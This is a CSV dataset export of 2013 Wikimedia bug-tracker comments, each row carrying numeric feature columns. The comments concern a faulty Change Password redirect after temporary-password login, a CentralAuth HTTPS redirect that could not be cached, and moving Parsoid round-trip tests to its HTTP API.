+268497,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","For the record, the cause of this bug is from Ia0a61e98fbff7 ( https://gerrit.wikimedia.org/r/93425), which introduced WebRequest::getProtocol as an instance method rather than the previous practice of always using WebRequest::detectProtocol, which is static.",,,1385123160,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+268491,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 had a related patch set uploaded by IAlex:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96970",,,1385113056,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+268484,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","screenshot of the page after successfully having entered the temp.password and 2x the new password:
+
++ http://i.imgur.com/IDNp8W4.png",,,1385102463,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+268477,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #5)
+> Is this still happening? I'm not able to reproduce it. Just to confirm,
+> 
+> * I enter my username and temp password, click login
+> * I get the change password form. I'm not logged in. Old password is
+> pre-filled.
+> * I enter in a new password (twice), and click submit.
+> * I'm taken back to Main_Page, and I'm logged in.
+> 
+> Am I missing a step?
+
+Yes, certainly.
+I still can reproduce my findings as in the first comment, and as confirmed by André in https://bugzilla.wikimedia.org/show_bug.cgi?id=57289#c3
+
+
+Please reproduce step-by-step:
+
+
+Scenario:
+
++ en.wikipedia.org as of 2013-11-22
++ go to ""Reset Password"" page and trigger the I-forgot-my-passwort
+e-mail-password mail
++ come back to the login page
++ enter the temporary password
++ you are now correctly asked to change your password (=mandatory password
+change after login with temporary password)
++ after a successful password change you will see
+
+""Change Password"" (=page title)
+""You must be logged in to access this page directly.""
+
+URL is: 
+""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""
+
+This is *strictly* reproducible. Raising severity to ""major"" because it relates to a password issue, which could point to critical bug.",,,1385102235,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+268470,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Is this still happening? I'm not able to reproduce it. Just to confirm,
+
+* I enter my username and temp password, click login
+* I get the change password form. I'm not logged in. Old password is pre-filled.
+* I enter in a new password (twice), and click submit.
+* I'm taken back to Main_Page, and I'm logged in.
+
+Am I missing a step?",,,1385092299,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+268464,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","> Needed to log in once again. Meh.
+
+just to say it very kindly again in case it has been overlooked:
+> __perhaps_(!)_ the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 solves this, too.",,,1385071451,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+268457,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Thanks for taking the time to report this!
+
+Confirming:
+
+- logged out
+- went to https://en.wikipedia.org/wiki/Special:PasswordReset
+- enter username
+- Get ""A password reset email has been sent.""
+- Check mail
+- Copy temp password
+- In browser, click ""Log in"" in upper corner which now links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset
+- Enter username and temp password
+- Get ""Change password - You logged in with a temporary emailed code. To finish logging in, you must set a new password here:""
+
+Result:
+- ""Change password - You must be logged in to access this page directly.""
+Needed to log in once again. Meh.",,,1385068639,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+268452,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #1)
+> perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065
+> solves
+> this.
+^wrong
+
+I meant:
+
+See 
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 SpecialPasswordReset when called does not obey an optional returnto parameter 
+
+Perhaps the fix of 57098 also solves the present 57289.",,,1384945090,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+268447,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065 solves this.,,,1384944944,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59223,CentralAuth $wgSecureLogin redirect is uncacheable,"The redirect added to CentralAuth in Ia1232ac39e8 is effectively uncacheable, since it depends on wfCanIPUseHTTPS(), which can't be varied on in Varnish. The change should probably be reverted. It's essential that /checkLoggedIn be cached if the backend request rate impact of CentralAuth is to be reduced.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1384824300,1385510323.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-qocaqbn25fk7kqu3ild7,task_description,resolved,True,c3,1,True,False,True,-85,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+264507,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 merged by jenkins-bot:
+Remove https redirect from CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/96317",,,1385510312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264503,CentralAuth $wgSecureLogin redirect is uncacheable,"As noted on the patch, that should have been a redundant check, so the AutoLogin piece should be cacheable with gerrit 96317.",,,1384891936,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+264499,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 had a related patch set uploaded by CSteipp:
+Remove https redirect from CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/96317",,,1384891744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+58730,Develop unit tests for the HTTP API,"The current Parsoid unit tests (parserTests.js and friends) use Parsoid as a library directly. This means that the HTTP API code paths are not tested, leadig to issues like https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid .
+
+We should develop some way of unit-testing all the HTTP API endpoints.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56601",High,80.0,1383849960,1386109290.0,PHID-USER-56wtmb23orq4pu5liyj5,False,,False,PHID-TASK-kh2buy3dptmfowydkqjp,task_description,resolved,True,c3,1,False,False,True,-86,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+260431,Develop unit tests for the HTTP API,"Resolving this as a duplicate of 56601, which is also about using the HTTP API from roundtrip-test.js.
+
+*** This bug has been marked as a duplicate of bug 56601 ***",,,1386109290,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kh2buy3dptmfowydkqjp,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+58590,Use the HTTP API in round-trip testing,"Parsoid currently tests parsing and serialiation of content. Currently, testing of the HTTP API wrappers and any issues with libraries and bugs in the endpoints relies on manual testing.
+
+Gaps in manual testing can lead to incidents like this: https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid
+
+So, we need an automated test setup for our HTTP API endpoints.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1383604620,1387828127.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-cfhd53wpntcxcbt4smwr,task_description,resolved,True,c3,1,False,False,True,-87,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+278506,Use the HTTP API in round-trip testing,"Change 102011 merged by jenkins-bot:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/102011",,,1387495057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+278503,Use the HTTP API in round-trip testing,"Change 99348 abandoned by GWicke:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+Reason:
+Moved to https://gerrit.wikimedia.org/r/#/c/102011/
+
+https://gerrit.wikimedia.org/r/99348",,,1387319737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-81,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+278500,Use the HTTP API in round-trip testing,"Change 102011 had a related patch set uploaded by GWicke:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/102011",,,1387232407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-81,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+278495,Use the HTTP API in round-trip testing,"So far, we've been doing some basic integration testing on a single page (en:Barack_Obama) in a Jenkins job after each commit. While we could fully mock up all API accesses, for large pages like en:Barack_Obama, this would require us to effectively do a capture and replay of all API accesses for those pages (since it is not just wikitext, but also templates, extensions, images, etc. -- some 100s to 1000s of API calls).
+
+Scott does have some basic code for capturing these accesses and dumping them to a file and using that to do a replay (without relying on internet). But, that seems like extra complexity instead of relying on internet access if we really want to do full-page integration testing on a set of N (for small values of N, say 5) pages after each commit.
+
+So, I think the real question is whether we should be doing full page testing in a Jenkins/CI job after each commit or not. If yes, it seems simpler to rely on HTTP.
+
+All that said, we do have a mock MW API server for testing PHP extensions (bug 45440). See parsoid/js/tests/mockAPI.js. Currently, we use this for running parserTests only.",,,1386264518,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-82,True,1,0,1,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+278488,Use the HTTP API in round-trip testing,"(In reply to comment #12)
+<snip>
+> Thanks for the info, Antoine. Even though we'll be running an independent
+> Parsoid API server when running roundtrip-test.js, that will need internet
+> access to fetch wikitext from the MediaWiki API. I'll open that bug when the
+> code is ready.
+
+Shouldn't you mock the API access?  I mean Parsoid could be injected fixtures with known articles content and use those flat files instead of relying on the remote wiki.   That would save the internet HTTP get and make sure you are testing known value.
+
+Of course, I don't think Parsoid support that kind of injection (yet?).",,,1386253627,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+278483,Use the HTTP API in round-trip testing,"Change 99348 had a related patch set uploaded by Marcoil:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/99348",,,1386239395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+278478,Use the HTTP API in round-trip testing,"(In reply to comment #11)
+> (snip)
+> That build has been run on lanthanum.eqiad.wmnet which does not have direct
+> access to internet.  We can tie the job to a Jenkins slave that has internet
+> access though. 11pm right now so I will forget about it, but a bug against
+> Wikimedia > Continuous integration would make sure it get solved.
+
+Thanks for the info, Antoine. Even though we'll be running an independent Parsoid API server when running roundtrip-test.js, that will need internet access to fetch wikitext from the MediaWiki API. I'll open that bug when the code is ready.",,,1385546629,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+278472,Use the HTTP API in round-trip testing,"(In reply to comment #9)
+<snip>
+> - It doesn't pass Jenkins, see
+> https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/
+> console
+> It seems that the roundtrip-test.js script can't connect to the parsoid HTTP
+> API from the jenkins machine. We'll need to get a parsoid instance running on
+> the jenkins test machine, using a random port.
+
+That build has been run on lanthanum.eqiad.wmnet which does not have direct access to internet.  We can tie the job to a Jenkins slave that has internet access though. 11pm right now so I will forget about it, but a bug against Wikimedia > Continuous integration would make sure it get solved.",,,1385505218,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+278464,Use the HTTP API in round-trip testing,"Change 97733 abandoned by Marcoil:
+Bug 56590: Use the HTTP API in round-trip testing
+
+Reason:
+This needs more work to work anywhere besides my local setup, a new patch will come soon.
+
+https://gerrit.wikimedia.org/r/97733",,,1385495640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+278455,Use the HTTP API in round-trip testing,"Problems when testing this patch:
+
+- When testing with a local Parsoid instance, it compares the two wikitext versions and gives a correct number of syntactic and semantic diffs, although the number is sometimes different to the one given by direct (no HTTP API) testing. Most of the times the differences are due to a final '\n' difference when testing through HTTP. Could be due to different selser and editMode settings?
+
+- When testing from my local machine, but using httpL//parsoid.wmflabs.org/ as the HTTP API URL, html2wt always gives out the same wikitext as was gotten with TemplateRequest::one, which results in 0 diffs. Caching?
+
+- node roundtrip-test.js --parsoidURL http://parsoid.wmflabs.org/ --prefix enwiki Barack_Obama
+gives this error:
+ERROR: Error: request entity too large
+    at IncomingMessage.onData (/data/project/parsoid/js/node_modules/express/node_modules/connect/node_modules/raw-body/index.js:40:17)
+    at IncomingMessage.EventEmitter.emit (events.js:88:17)
+    at IncomingMessage._emitData (http.js:359:10)
+    at HTTPParser.parserOnBody [as onBody] (http.js:123:21)
+    at Socket.socket.ondata (http.js:1682:22)
+    at TCP.onread (net.js:404:27)
+
+- It doesn't pass Jenkins, see https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/console
+It seems that the roundtrip-test.js script can't connect to the parsoid HTTP API from the jenkins machine. We'll need to get a parsoid instance running on the jenkins test machine, using a random port.",,,1385488129,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+278446,Use the HTTP API in round-trip testing,"Change 97733 had a related patch set uploaded by Marcoil:
+Bug 56590: Use the HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/97733",,,1385484634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+278438,Use the HTTP API in round-trip testing,"Divided into two tasks:
+* This bug will track changing the round-trip test client to use the HTTP API so that they test a more similar code to the actual one used by clients.
+* Bug #56730 tracks the (future) development of unit tests of Parsoid's HTTP API.",,,1383850210,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-86,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+278431,Use the HTTP API in round-trip testing,"(In reply to comment #5)
+> What is the HTTP endpoint for this API?  The explicit URI(s)?  
+
+https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API",,,1383672928,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1
+278425,Use the HTTP API in round-trip testing,"
+What is the HTTP endpoint for this API?  The explicit URI(s)?  
+
+Also, I submitted a browser test for a utf8 string, I'll refine this a bit more today.  https://gerrit.wikimedia.org/r/#/c/93597/",,,1383660675,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-87,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0
+278421,Use the HTTP API in round-trip testing,"(In reply to comment #2)
+> I would very much like to create these tests, as long as beta labs and
+> test2wiki would be targets.
+
+As a first step we are considering tests that exercise the HTTP API in a way similar to the way VE does (including selser mode)
+
+* on each commit, on a selection of pages
+* in mass round-trip testing on a variety of content (see also bug 56601)
+
+In addition it would be great to test the full Parsoid + Varnish setup as it is in production to catch caching issues. This sounds like a good fit for betalabs.
+
+For this, we could use
+
+* the HTTP client we'll get out of moving our rt testing to use the API, and 
+* browser testing using the VE to test the full stack from browser through VE extension to the Parsoid cluster.",,,1383627362,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+278416,Use the HTTP API in round-trip testing,"If there is anything I can do in Jenkins, let me know.",,,1383606517,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
